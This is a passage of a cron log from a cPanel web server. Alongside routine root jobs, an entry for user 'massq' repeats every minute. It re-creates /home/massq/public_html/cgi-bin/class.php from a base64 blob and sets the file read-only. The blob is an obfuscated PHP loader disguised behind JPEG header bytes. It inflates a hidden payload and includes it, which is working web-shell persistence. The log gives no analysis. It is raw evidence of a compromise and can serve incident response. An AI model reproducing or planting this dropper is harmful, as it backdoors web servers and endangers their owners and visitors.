4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:12:01 server CROND[17127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:12:01 server CROND[17128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:12:01 server CROND[17130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 13:12:01 server CROND[17129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:13:01 server CROND[17524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:13:01 server CROND[17525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:13:01 server CROND[17526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:14:01 server CROND[17930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:14:01 server CROND[17931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:14:01 server CROND[17934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:15:01 server CROND[18335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:15:01 server CROND[18338]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:15:01 server CROND[18337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:15:01 server CROND[18339]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:15:01 server CROND[18342]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 13:15:01 server CROND[18344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:15:01 server CROND[18341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:15:01 server CROND[18343]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:16:01 server CROND[19238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:16:01 server CROND[19240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:16:01 server CROND[19239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:17:01 server CROND[19727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:17:01 server CROND[19728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:17:01 server CROND[19729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:18:01 server CROND[20116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:18:01 server CROND[20117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:18:01 server CROND[20118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:19:01 server CROND[20496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:19:01 server CROND[20495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:19:01 server CROND[20497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:20:01 server CROND[20909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 13:20:01 server CROND[20911]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 13:20:01 server CROND[20912]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 13:20:01 server CROND[20917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 13:20:01 server CROND[20919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:20:01 server CROND[20916]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 13:20:01 server CROND[20920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:20:01 server CROND[20918]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 13:20:01 server CROND[20922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:21:01 server CROND[21769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:21:01 server CROND[21768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:21:01 server CROND[21770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:22:01 server CROND[22165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 13:22:01 server CROND[22164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 13:22:01 server CROND[22166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:23:01 server CROND[22675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 13:23:01 server CROND[22676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
